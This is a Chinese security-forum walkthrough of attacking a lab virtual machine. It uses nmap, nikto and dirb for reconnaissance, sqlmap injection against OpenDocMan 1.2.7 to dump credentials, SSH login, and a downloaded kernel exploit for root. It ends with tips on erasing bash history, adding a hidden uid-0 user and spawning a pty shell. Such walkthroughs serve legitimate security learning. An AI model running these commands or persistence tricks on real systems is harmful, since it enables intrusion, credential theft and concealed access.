[渗透测试] Linux渗透测试

[复制链接]
查看2753 | 回复2 | 2017-6-7 18:52:19 | 显示全部楼层 |阅读模式

  最近发现了一个不错的靶场,里面各种渗透测试的虚拟机,大家可以下载进行尝试学习。还有就是一个漏洞利用,可以找到很多我们可以利用的学习的东西。
0x01 信息搜集
首先就是确定我们靶机的目标IP
nmap -sP -T5 192.168.0.1/24
69675734-file_1495024767524_12b41.png
92578056-file_1495024794093_f650.png
通过前面的步骤,我们对目标进行具体的端口扫描以及操作系统识别,发现开启有80,22以及6667端口。
`nmap -sV -p- -A -O -T4 192.168.0.170`
29748247-file_1495025167563_18075.png
- 目录扫描
继续对目标进行敏感目录扫描,御剑等工具都可以。这里我使用KALI的`nikto`以及`dirb`命令进行简单的目录扫描。
`nikto -host http://192.168.0.170`或者`dirb http://192.168.0.170`

1901036-file_1495026985555_c687.jpg

34894438-file_1495026990934_c5e1.jpg
### 0x02 漏洞发现
  访问IP之后的页面,发现并没有什么特别的地方,于是只能查看源代码,点击超链接进行查看。
72915652-file_1495025513089_4b42.png

在链接的地方竟然发现了秘密的地方,于是访问之
16907544-file_1495027180453_a40c.png
此处是一个登录界面,我们可以尝试注册一个用户进行登录,但只是一个游客的形式。
( 77969300-file_1495027584527_6db5.png
我们注册一个用户进行登录,还有有很多功能的,于是可以进行更多的尝试。
87595415-file_1495028411853_56b6.png

  在下面发现OpenDocMan v1.2.7, OpenDocMan是一个功能完整的基于Web的文档管理系统(DMS),于是找找OpenDocMan v1.2.7所公布的一些可以利用的漏洞(https://www.exploit-db.com/exploits/32075/)。
52436738-file_1495029065698_1762a.png
发现可以利用的好几个漏洞,于是先行尝试sql注入。

### 0x03 漏洞利用
  经过简单的测试发现`http://192.168.0.170/jabcd0cs/aj ... add_value=odm_user`处确实注入。
72043277-file_1495029395412_5b3f.png

40331315-file_1495029419098_1162.png
于是直接拿出神器Sqlmap进行注入。
`sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value --dbs`
50127468-file_1495029835183_507e.png
经过常见的那几个命令我们可以成功的拿到登录名和密码。
```
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs --tables
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_admin --columns
```
发现admin表里面没有信息,只能从user表里面提取信息。
```
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_user --columns`
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_user -C "username,password" --dump
```
我们可以看到已经获取到了数据库的用户名和密码,直接MD5解密就可以ssh登录服务器。
42366405-file_1495083173994_9c37.png
用户名`webmin`,密码`b78aae356709f8c31118ea613980954b`,明文为`webmin`

### 0x04 权限提升
经过前面端口扫描可以发现,22端口发放着,可以进行ssh连接。`ssh webmin@192.168.0.170`
75985467-file_1495083672930_ba2a.jpg
61650463-file_1495083646059_acf0.png

  查看权限发现是普通用户的权限,所以得继续进行提权操作。获取到低权限SHELL后我们通常做下面几件事:
- 检测操作系统的发行版本
- 查看内核版本
- 检测当前用户权限
- 列举Suid文件
- 查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞

`lsb_release -a`查看系统的发行版本
73239541-file_1495083911393_12b4.png
`uname -a`查看内核版本
40320294-file_1495083992867_f6e7.png

  我们可以看到此操作系统采用的是Ubuntu 14.04.4 LTS,内核版本是3.13.0-24-generic,首先想到的就是去漏洞库寻找有没有可以用的exploit。

下载漏洞exploit
```
wget https://www.exploit-db.com/download/37292
mv 37292 shell.c
gcc -o shell shell.c
./shell
```
23001066-file_1495084882743_12f82.png

**附Linux渗透小技巧:**
- bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null
- Linux添加uid为0的用户
useradd -o -u 0 cnbird
- 可以翻下 mysql_history .bash_history
- ls -al 看下root目录下都有什么隐藏目录 例如 .ssh .vnc 等
- 可以看下 .ssh/下面的ssh连接记录等,也可以看下全局变量文件什么的
- 通过webshell反弹shell回来之后获取真正的ttyshell
`python -c 'import pty; pty.spawn("/bin/sh")'`


评分

参与人数 1银两 +6 收起 理由
Harry + 6 666

查看全部评分

回复

使用道具 举报

匿名 Ghost-tty | 2017-6-7 23:43:29 | 显示全部楼层
问一下是哪道题呀
回复

使用道具 举报

bosstomcat | 2018-10-23 21:00:30 | 显示全部楼层
markQWERTYUI是大法官好几块
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Hello_C 该用户已被删除